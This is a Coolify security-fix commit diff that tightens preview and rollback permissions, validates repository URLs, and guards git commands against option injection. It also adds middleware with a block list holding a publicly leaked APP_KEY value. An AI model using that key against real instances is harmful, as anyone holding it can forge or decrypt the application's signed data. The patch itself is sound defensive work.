mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-12 15:53:46 -04:00
fix(access): restrict preview changes, rollbacks, and repo URL updates
- Require the write permission and update policy to open a preview or change its pull request URL, git type, or docker tag via the API; deploy-only tokens can only redeploy an existing preview - Reject rollbacks to commits that are neither a listed rollback image nor a successful production deployment (GetRollbackImages::allows) - Validate git_repository with ValidGitRepositoryUrl when it changes on application update - Add RejectPublishedAppKey global middleware - Show a "still starting" message when the root setup window is pending - Document the new 403 responses and constraints in the OpenAPI spec - Add tests for the new checks
This commit is contained in:
@@ -63,6 +63,23 @@ class GetRollbackImages
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether a rollback to the tag is allowed: the tag is a listed rollback image, or the commit of
|
||||
* a successful production deployment. Any other commit (for example a commit of an unmerged pull
|
||||
* request) is rejected, because a rollback builds a missing image from source.
|
||||
*/
|
||||
public static function allows(Application $application, string $tag): bool
|
||||
{
|
||||
$deployed = $application->deployment_queue()
|
||||
->where('status', ApplicationDeploymentStatus::FINISHED->value)
|
||||
->where('pull_request_id', 0)
|
||||
->where('rollback', false)
|
||||
->where('commit', $tag)
|
||||
->exists();
|
||||
|
||||
return $deployed || collect(self::run($application)['images'])->contains('tag', $tag);
|
||||
}
|
||||
|
||||
/**
|
||||
* The repositories of the images that the application builds or pulls. A Docker Compose
|
||||
* build names the image of each service `<uuid>_<service>`, like the Compose parser does.
|
||||
|
||||
@@ -38,7 +38,9 @@ class CreateNewUser implements CreatesNewUsers
|
||||
|
||||
if (! User::query()->exists() && ! RootSetupWindow::isOpen()) {
|
||||
throw ValidationException::withMessages([
|
||||
'email' => 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.',
|
||||
'email' => RootSetupWindow::isPending()
|
||||
? 'Coolify has not finished starting. Wait a few seconds, then try again.'
|
||||
: 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.',
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -106,7 +106,7 @@ class ApplicationPreviewsController extends Controller
|
||||
|
||||
#[OA\Post(
|
||||
summary: 'Create Preview Deployment',
|
||||
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.',
|
||||
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.',
|
||||
path: '/applications/{uuid}/previews',
|
||||
operationId: 'create-preview-deployment-by-application-uuid',
|
||||
security: [['bearerAuth' => []]],
|
||||
@@ -131,6 +131,7 @@ class ApplicationPreviewsController extends Controller
|
||||
new OA\Response(response: 201, description: 'Preview deployment created.', content: new OA\JsonContent(ref: '#/components/schemas/ApplicationPreviewDeployment')),
|
||||
new OA\Response(response: 400, ref: '#/components/responses/400'),
|
||||
new OA\Response(response: 401, ref: '#/components/responses/401'),
|
||||
new OA\Response(response: 403, description: 'Missing permissions. Opening or changing a preview needs the write permission.'),
|
||||
new OA\Response(response: 404, ref: '#/components/responses/404'),
|
||||
new OA\Response(response: 422, ref: '#/components/responses/422'),
|
||||
new OA\Response(response: 429, description: 'Deployment queue is full.'),
|
||||
@@ -225,13 +226,27 @@ class ApplicationPreviewsController extends Controller
|
||||
], 422);
|
||||
}
|
||||
|
||||
$pullRequestHtmlUrl = $request->input('pull_request_html_url');
|
||||
$changesPreview = ! $preview
|
||||
|| ($pullRequestHtmlUrl !== null && $pullRequestHtmlUrl !== $preview->pull_request_html_url)
|
||||
|| ($request->input('git_type') !== null && $request->input('git_type') !== $preview->git_type)
|
||||
|| ($dockerTag !== null && $dockerTag !== $preview->docker_registry_image_tag);
|
||||
if ($changesPreview) {
|
||||
if (! $request->user()->tokenCan('write') && ! $request->user()->tokenCan('root')) {
|
||||
return response()->json([
|
||||
'message' => 'Missing required permissions: write. Opening a preview or changing its pull request URL, git type, or docker tag needs the write permission. The deploy permission only redeploys an existing preview.',
|
||||
], 403);
|
||||
}
|
||||
$this->authorize('update', $application);
|
||||
}
|
||||
|
||||
$created = ! $preview;
|
||||
if ($created) {
|
||||
$isCompose = $application->build_pack === BuildPackTypes::DOCKERCOMPOSE->value;
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => $pullRequestId,
|
||||
'pull_request_html_url' => $request->input('pull_request_html_url') ?? '',
|
||||
'pull_request_html_url' => $pullRequestHtmlUrl ?? '',
|
||||
'git_type' => $isDockerImage ? null : $gitType,
|
||||
'docker_compose_domains' => $isCompose ? $application->docker_compose_domains : null,
|
||||
'docker_registry_image_tag' => $dockerTag,
|
||||
@@ -241,7 +256,7 @@ class ApplicationPreviewsController extends Controller
|
||||
: $preview->generate_preview_fqdn();
|
||||
} else {
|
||||
$preview->fill(array_filter([
|
||||
'pull_request_html_url' => $request->input('pull_request_html_url'),
|
||||
'pull_request_html_url' => $pullRequestHtmlUrl,
|
||||
'git_type' => $isDockerImage ? null : $gitType,
|
||||
'docker_registry_image_tag' => $dockerTag,
|
||||
], fn (mixed $value): bool => $value !== null));
|
||||
|
||||
@@ -3682,6 +3682,10 @@ class ApplicationsController extends Controller
|
||||
'ports_exposes' => 'nullable|string|regex:/^(\d+)(,\d+)*$/',
|
||||
];
|
||||
$validationRules = array_merge(sharedDataApplications($application), $validationRules);
|
||||
// A change of Gitea source checks the repository against the Gitea instance below.
|
||||
if ($request->input('git_repository') !== $application->git_repository && ! $request->has('gitea_app_uuid')) {
|
||||
$validationRules['git_repository'] = ['string', new ValidGitRepositoryUrl(allowRepositoryPath: true)];
|
||||
}
|
||||
$validationMessages = [
|
||||
...ValidationPatterns::combinedMessages(),
|
||||
'docker_compose_domains.*.array' => 'An item in the docker_compose_domains array has invalid fields. Only name, domain, and redirect fields are supported.',
|
||||
@@ -6584,7 +6588,7 @@ class ApplicationsController extends Controller
|
||||
content: new OA\JsonContent(
|
||||
required: ['commit'],
|
||||
properties: [
|
||||
new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to.'),
|
||||
new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.'),
|
||||
]
|
||||
)
|
||||
),
|
||||
@@ -6650,6 +6654,13 @@ class ApplicationsController extends Controller
|
||||
], 422);
|
||||
}
|
||||
|
||||
if (! GetRollbackImages::allows($application, $commit)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['commit' => ['The commit is not a rollback image or a successful deployment of this application.']],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$deployment_uuid = new_public_id();
|
||||
$result = queue_application_deployment(
|
||||
application: $application,
|
||||
|
||||
@@ -336,7 +336,7 @@ class DeployController extends Controller
|
||||
new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')),
|
||||
new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)),
|
||||
new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)),
|
||||
new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')),
|
||||
new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.', schema: new OA\Schema(type: 'string')),
|
||||
new OA\Parameter(name: 'cancel_previous', in: 'query', description: 'Cancel the older webhook, API, and MCP deployments of the same application, pull request, and server. `queued` cancels the ones that wait in the queue. `building` also stops the ones that are still building; a deployment that already started to replace containers always finishes. Manual, restart, and rollback deployments are never cancelled. Default: `none`.', schema: new OA\Schema(type: 'string', enum: ['none', 'queued', 'building'], default: 'none')),
|
||||
],
|
||||
|
||||
@@ -442,7 +442,14 @@ class DeployController extends Controller
|
||||
|
||||
continue;
|
||||
}
|
||||
$preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag);
|
||||
$preview = $resource->previews()->where('pull_request_id', $pr)->first();
|
||||
$changesPreview = $dockerTag !== null && $dockerTag !== $preview?->docker_registry_image_tag;
|
||||
if ($changesPreview && ! $this->canChangePreview($resource)) {
|
||||
$deployments->push(['message' => 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.', 'resource_uuid' => $uuid]);
|
||||
|
||||
continue;
|
||||
}
|
||||
$preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag, $preview);
|
||||
$dockerTagForResource = $preview?->docker_registry_image_tag;
|
||||
} else {
|
||||
$preview = $resource->previews()->where('pull_request_id', $pr)->first();
|
||||
@@ -619,10 +626,18 @@ class DeployController extends Controller
|
||||
return ['message' => $message, 'deployment_uuid' => $deployment_uuid];
|
||||
}
|
||||
|
||||
private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview
|
||||
/**
|
||||
* Opening a preview or changing its docker tag changes what runs, so it needs the write permission and the update policy, as in the UI.
|
||||
*/
|
||||
private function canChangePreview(Application $application): bool
|
||||
{
|
||||
$preview = $application->previews()->where('pull_request_id', $pullRequestId)->first();
|
||||
$user = auth()->user();
|
||||
|
||||
return ($user->tokenCan('write') || $user->tokenCan('root')) && $user->can('update', $application);
|
||||
}
|
||||
|
||||
private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag, ?ApplicationPreview $preview): ?ApplicationPreview
|
||||
{
|
||||
if (! $preview && $dockerTag === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember;
|
||||
use App\Http\Middleware\KeepConcurrentTeamSwitch;
|
||||
use App\Http\Middleware\PreventRequestsDuringMaintenance;
|
||||
use App\Http\Middleware\RedirectIfAuthenticated;
|
||||
use App\Http\Middleware\RejectPublishedAppKey;
|
||||
use App\Http\Middleware\RequirePassword;
|
||||
use App\Http\Middleware\RequireTeamTwoFactor;
|
||||
use App\Http\Middleware\ThrottleFailedApiRequests;
|
||||
@@ -57,6 +58,7 @@ class Kernel extends HttpKernel
|
||||
protected $middleware = [
|
||||
// Outermost so Server-Timing includes the full middleware + app cost.
|
||||
AddServerTimingHeaders::class,
|
||||
RejectPublishedAppKey::class,
|
||||
TrustProxies::class,
|
||||
HandleCors::class,
|
||||
ThrottleFailedApiRequests::class,
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Blocks all HTTP requests while APP_KEY (or APP_PREVIOUS_KEYS) is a key that was published in this repository.
|
||||
*
|
||||
* Anyone can sign and encrypt data with a published key, so the instance is not safe to serve.
|
||||
* Console commands still run, so the key can be rotated with `php artisan app-key:reencrypt`.
|
||||
*/
|
||||
class RejectPublishedAppKey
|
||||
{
|
||||
/**
|
||||
* Keys from example files that were shipped in this repository.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
public const PUBLISHED_KEYS = [
|
||||
// .env.windows-docker-desktop.example (removed in v4.6.0)
|
||||
'base64:ssTlCmrIE/q7whnKMvT6DwURikg69COzGsAwFVROm80=',
|
||||
];
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
if (! self::usesPublishedKey()) {
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
return response(
|
||||
"Coolify does not start: APP_KEY or APP_PREVIOUS_KEYS contains a key that is public.\n\n".
|
||||
"1. Generate a new key: openssl rand -base64 32\n".
|
||||
"2. In .env, set APP_PREVIOUS_KEYS to the old APP_KEY value and APP_KEY=base64:<new key>.\n".
|
||||
"3. Restart Coolify and run: docker exec coolify php artisan app-key:reencrypt --force\n".
|
||||
"4. Remove APP_PREVIOUS_KEYS from .env and restart Coolify.\n",
|
||||
503,
|
||||
['Content-Type' => 'text/plain; charset=UTF-8'],
|
||||
);
|
||||
}
|
||||
|
||||
public static function usesPublishedKey(): bool
|
||||
{
|
||||
$keys = [config('app.key'), ...(array) config('app.previous_keys', [])];
|
||||
|
||||
return array_intersect(array_map(fn ($key) => trim((string) $key), $keys), self::PUBLISHED_KEYS) !== [];
|
||||
}
|
||||
}
|
||||
@@ -3614,7 +3614,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
||||
$gitConfigOption = $this->application->gitHttpsCredentialConfigOption();
|
||||
$gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git';
|
||||
|
||||
return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
|
||||
return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote -- '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
|
||||
}
|
||||
|
||||
private function update_repository_project_id(): void
|
||||
|
||||
@@ -9,6 +9,7 @@ use App\Livewire\Project\Service\Storage;
|
||||
use App\Livewire\Project\Shared\EnvironmentVariable\All;
|
||||
use App\Models\Application;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Rules\ValidGitRepositoryUrl;
|
||||
use App\Services\Dns\ManagedDnsRecordCleanup;
|
||||
use App\Services\Dns\ResourceDnsRecords;
|
||||
use App\Support\ValidationPatterns;
|
||||
@@ -168,7 +169,9 @@ class General extends Component
|
||||
? ['nullable']
|
||||
: ValidationPatterns::applicationDomainRules(),
|
||||
'parsedServiceDomains.*.domain' => ValidationPatterns::applicationDomainRules(),
|
||||
'gitRepository' => 'required',
|
||||
'gitRepository' => isset($this->application) && $this->gitRepository === $this->application->getOriginal('git_repository')
|
||||
? ['required']
|
||||
: ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)],
|
||||
'gitBranch' => ['required', 'string', new ValidGitBranch],
|
||||
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'installCommand' => $this->changedCommandRules('installCommand', 'install_command'),
|
||||
|
||||
@@ -53,6 +53,11 @@ class Rollback extends Component
|
||||
$this->authorize('deploy', $this->application);
|
||||
|
||||
$commit = validateGitRef($commit, 'rollback commit');
|
||||
if (! GetRollbackImages::allows($this->application, $commit)) {
|
||||
$this->dispatch('error', 'Rollback did not start.', 'The commit is not a rollback image or a successful deployment of this application.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$deployment_uuid = new_public_id();
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\GithubApp;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Rules\ValidGitRepositoryUrl;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
@@ -102,6 +103,9 @@ class Source extends Component
|
||||
{
|
||||
if ($toModel) {
|
||||
$this->validate();
|
||||
if ($this->gitRepository !== $this->application->getOriginal('git_repository')) {
|
||||
$this->validate(['gitRepository' => ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)]]);
|
||||
}
|
||||
$attributes = [
|
||||
'git_repository' => $this->gitRepository,
|
||||
'git_branch' => $this->gitBranch,
|
||||
|
||||
@@ -11,7 +11,7 @@ class ManagePreview extends RestActionTool
|
||||
{
|
||||
protected string $name = 'manage_preview';
|
||||
|
||||
protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability, update requires write, delete requires delete. Same validation and permissions as the REST API.';
|
||||
protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability to redeploy an existing preview, and also write ability to open a preview or change its pull request URL, git type, or docker tag; update requires write, delete requires delete. Same validation and permissions as the REST API.';
|
||||
|
||||
protected function actions(): array
|
||||
{
|
||||
|
||||
@@ -1820,7 +1820,8 @@ class Application extends BaseModel
|
||||
['repository' => $customRepository, 'port' => $customPort] = $this->customRepository();
|
||||
$commands = collect([]);
|
||||
$customSshKeyLocation = "/root/.ssh/id_rsa_coolify_{$deployment_uuid}";
|
||||
$base_command = 'git ls-remote';
|
||||
// `--` ends the options, so a repository value that starts with `-` is not read as a git option.
|
||||
$base_command = 'git ls-remote --';
|
||||
|
||||
if ($this->deploymentType() === 'source') {
|
||||
$source_html_url = data_get($this, 'source.html_url');
|
||||
@@ -1969,7 +1970,7 @@ class Application extends BaseModel
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
$gitConfigOption = $this->gitHttpsCredentialConfigOption();
|
||||
if ($gitConfigOption) {
|
||||
$base_command = "git {$gitConfigOption} ls-remote";
|
||||
$base_command = "git {$gitConfigOption} ls-remote --";
|
||||
}
|
||||
if ($this->gitUsesSsh()) {
|
||||
$sshCommand = gitSshCommand($deployment_uuid, $customPort, '/root/.ssh/id_rsa', identitiesOnly: false);
|
||||
@@ -2163,9 +2164,10 @@ class Application extends BaseModel
|
||||
}
|
||||
}
|
||||
|
||||
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch}";
|
||||
// `--` ends the options, so a repository value that starts with `-` is not read as a git option.
|
||||
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch} --";
|
||||
if ($only_checkout) {
|
||||
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch}";
|
||||
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch} --";
|
||||
}
|
||||
if ($pull_request_id !== 0) {
|
||||
$pr_branch_name = "pr-{$pull_request_id}-coolify";
|
||||
|
||||
@@ -52,6 +52,7 @@ class FortifyServiceProvider extends ServiceProvider
|
||||
|
||||
return view('auth.register', [
|
||||
'isFirstUser' => $isFirstUser,
|
||||
'isRootSetupWindowPending' => $isFirstUser && RootSetupWindow::isPending(),
|
||||
'isRootSetupWindowClosed' => $isFirstUser && ! RootSetupWindow::isOpen(),
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -12,10 +12,16 @@ class ValidGitRepositoryUrl implements ValidationRule
|
||||
|
||||
protected bool $allowIP;
|
||||
|
||||
public function __construct(bool $allowSSH = true, bool $allowIP = true)
|
||||
protected bool $allowRepositoryPath;
|
||||
|
||||
/**
|
||||
* @param bool $allowRepositoryPath Also accept a repository path such as `owner/name`, which applications with a Git source store.
|
||||
*/
|
||||
public function __construct(bool $allowSSH = true, bool $allowIP = true, bool $allowRepositoryPath = false)
|
||||
{
|
||||
$this->allowSSH = $allowSSH;
|
||||
$this->allowIP = $allowIP;
|
||||
$this->allowRepositoryPath = $allowRepositoryPath;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -195,6 +201,9 @@ class ValidGitRepositoryUrl implements ValidationRule
|
||||
|
||||
return;
|
||||
}
|
||||
} elseif ($this->allowRepositoryPath && preg_match('/^[a-zA-Z0-9_][a-zA-Z0-9._-]*(\/[a-zA-Z0-9._-]+)+$/', $value) === 1) {
|
||||
// A repository path (owner/name, or group/subgroup/name) that the Git source turns into a URL.
|
||||
return;
|
||||
} else {
|
||||
$fail('The :attribute must start with https://, http://, git://, ssh://, or be an SSH URL (user@host:path).');
|
||||
|
||||
|
||||
@@ -13,19 +13,30 @@ class RootSetupWindow
|
||||
{
|
||||
public const MINUTES = 10;
|
||||
|
||||
private const CACHE_KEY = 'root-setup-window';
|
||||
private const CACHE_KEY = 'root-setup-window-closes-at';
|
||||
|
||||
/**
|
||||
* The key has no TTL: app:init clears the cache before it calls this, so a missing key
|
||||
* means that Coolify has not finished starting, not that the window is closed.
|
||||
*/
|
||||
public static function openIfNoUserExists(): void
|
||||
{
|
||||
if (User::query()->exists()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Cache::put(self::CACHE_KEY, true, now()->addMinutes(self::MINUTES));
|
||||
Cache::forever(self::CACHE_KEY, now()->addMinutes(self::MINUTES)->getTimestamp());
|
||||
}
|
||||
|
||||
public static function isOpen(): bool
|
||||
{
|
||||
return Cache::has(self::CACHE_KEY);
|
||||
$closesAt = Cache::get(self::CACHE_KEY);
|
||||
|
||||
return is_int($closesAt) && now()->getTimestamp() < $closesAt;
|
||||
}
|
||||
|
||||
public static function isPending(): bool
|
||||
{
|
||||
return ! Cache::has(self::CACHE_KEY);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,7 +43,8 @@ trait ListensToTeamChannel
|
||||
}
|
||||
|
||||
try {
|
||||
$payload = decrypt($event['payload']);
|
||||
// The payload comes from the browser: unserialize it without classes.
|
||||
$payload = unserialize(decrypt($event['payload'], false), ['allowed_classes' => false]);
|
||||
} catch (DecryptException) {
|
||||
return [];
|
||||
}
|
||||
|
||||
+6
-3
@@ -62,7 +62,7 @@
|
||||
"Applications"
|
||||
],
|
||||
"summary": "Create Preview Deployment",
|
||||
"description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.",
|
||||
"description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.",
|
||||
"operationId": "create-preview-deployment-by-application-uuid",
|
||||
"parameters": [
|
||||
{
|
||||
@@ -167,6 +167,9 @@
|
||||
"401": {
|
||||
"$ref": "#\/components\/responses\/401"
|
||||
},
|
||||
"403": {
|
||||
"description": "Missing permissions. Opening or changing a preview needs the write permission."
|
||||
},
|
||||
"404": {
|
||||
"$ref": "#\/components\/responses\/404"
|
||||
},
|
||||
@@ -6649,7 +6652,7 @@
|
||||
],
|
||||
"properties": {
|
||||
"commit": {
|
||||
"description": "Image tag \/ commit to roll back to.",
|
||||
"description": "Image tag \/ commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.",
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
@@ -11645,7 +11648,7 @@
|
||||
{
|
||||
"name": "docker_tag",
|
||||
"in": "query",
|
||||
"description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.",
|
||||
"description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.",
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
|
||||
+5
-3
@@ -42,7 +42,7 @@ paths:
|
||||
tags:
|
||||
- Applications
|
||||
summary: 'Create Preview Deployment'
|
||||
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.'
|
||||
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.'
|
||||
operationId: create-preview-deployment-by-application-uuid
|
||||
parameters:
|
||||
-
|
||||
@@ -104,6 +104,8 @@ paths:
|
||||
$ref: '#/components/responses/400'
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'403':
|
||||
description: 'Missing permissions. Opening or changing a preview needs the write permission.'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
@@ -4369,7 +4371,7 @@ paths:
|
||||
- commit
|
||||
properties:
|
||||
commit:
|
||||
description: 'Image tag / commit to roll back to.'
|
||||
description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.'
|
||||
type: string
|
||||
type: object
|
||||
responses:
|
||||
@@ -7637,7 +7639,7 @@ paths:
|
||||
-
|
||||
name: docker_tag
|
||||
in: query
|
||||
description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.'
|
||||
description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.'
|
||||
schema:
|
||||
type: string
|
||||
-
|
||||
|
||||
@@ -14,7 +14,15 @@ $email = getOldOrLocal('email', 'test3@example.com');
|
||||
<x-auth.shell title="Coolify"
|
||||
:description="$isFirstUser ? 'Create the root account for this instance.' : 'Create your account to get started.'">
|
||||
<div class="flex flex-col gap-4">
|
||||
@if ($isRootSetupWindowClosed)
|
||||
@if ($isRootSetupWindowPending)
|
||||
<x-auth.alert type="warning">
|
||||
<p class="font-medium">Coolify is starting</p>
|
||||
<p class="mt-0.5 text-black/70 dark:text-white/70">Coolify has not finished its start-up tasks.
|
||||
Wait a few seconds, then reload this page. If this message stays, run this command on the
|
||||
server:</p>
|
||||
<code class="mt-2 block font-mono text-xs">docker restart coolify</code>
|
||||
</x-auth.alert>
|
||||
@elseif ($isRootSetupWindowClosed)
|
||||
<x-auth.alert type="warning">
|
||||
<p class="font-medium">Setup window closed</p>
|
||||
<p class="mt-0.5 text-black/70 dark:text-white/70">You can create the root account only in the
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Livewire\Project\Application\Rollback;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
@@ -13,6 +15,7 @@ use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
use Illuminate\Testing\Fluent\AssertableJson;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
@@ -106,3 +109,78 @@ test('deployment uuid strings are not converted as objects in API and webhook co
|
||||
->not->toContain('$deployment_uuid?->toString()');
|
||||
}
|
||||
});
|
||||
|
||||
describe('application rollback API', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = makeDeploymentActionApplication($this->environment, $this->destination);
|
||||
$this->deployedCommit = str_repeat('a', 40);
|
||||
ApplicationDeploymentQueue::create([
|
||||
'application_id' => $this->application->id,
|
||||
'deployment_uuid' => 'deployed-commit',
|
||||
'commit' => $this->deployedCommit,
|
||||
'status' => ApplicationDeploymentStatus::FINISHED->value,
|
||||
'pull_request_id' => 0,
|
||||
]);
|
||||
});
|
||||
|
||||
test('queues a rollback to the commit of a successful deployment', function () {
|
||||
$response = $this->withHeaders(deploymentActionHeaders($this->token))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $this->deployedCommit]);
|
||||
|
||||
$response->assertSuccessful()->assertJsonPath('message', 'Rollback deployment queued.');
|
||||
|
||||
expect(ApplicationDeploymentQueue::query()->where('deployment_uuid', $response->json('deployment_uuid'))->value('rollback'))->toBeTruthy();
|
||||
});
|
||||
|
||||
test('rejects a commit that the application never deployed to production', function (array $deployment) {
|
||||
$commit = str_repeat('b', 40);
|
||||
if ($deployment !== []) {
|
||||
ApplicationDeploymentQueue::create([
|
||||
'application_id' => $this->application->id,
|
||||
'deployment_uuid' => 'other-deployment',
|
||||
'commit' => $commit,
|
||||
'status' => ApplicationDeploymentStatus::FINISHED->value,
|
||||
'pull_request_id' => 0,
|
||||
...$deployment,
|
||||
]);
|
||||
}
|
||||
|
||||
$this->withHeaders(deploymentActionHeaders($this->token))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit])
|
||||
->assertUnprocessable()
|
||||
->assertJsonValidationErrors('commit');
|
||||
|
||||
expect(ApplicationDeploymentQueue::query()->where('rollback', true)->where('deployment_uuid', '!=', 'other-deployment')->exists())->toBeFalse();
|
||||
})->with([
|
||||
'unknown commit' => [[]],
|
||||
'failed deployment' => [['status' => ApplicationDeploymentStatus::FAILED->value]],
|
||||
'preview deployment' => [['pull_request_id' => 7]],
|
||||
'earlier rollback' => [['rollback' => true]],
|
||||
]);
|
||||
|
||||
test('rejects a commit that another application deployed', function () {
|
||||
$other = makeDeploymentActionApplication($this->environment, $this->destination);
|
||||
$commit = str_repeat('c', 40);
|
||||
ApplicationDeploymentQueue::create([
|
||||
'application_id' => $other->id,
|
||||
'deployment_uuid' => 'other-application',
|
||||
'commit' => $commit,
|
||||
'status' => ApplicationDeploymentStatus::FINISHED->value,
|
||||
'pull_request_id' => 0,
|
||||
]);
|
||||
|
||||
$this->withHeaders(deploymentActionHeaders($this->token))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit])
|
||||
->assertUnprocessable();
|
||||
});
|
||||
|
||||
test('the rollback page rejects a commit that the application never deployed', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
Livewire::test(Rollback::class, ['application' => $this->application])
|
||||
->call('rollbackImage', str_repeat('b', 40))
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ApplicationDeploymentQueue::query()->where('rollback', true)->exists())->toBeFalse();
|
||||
});
|
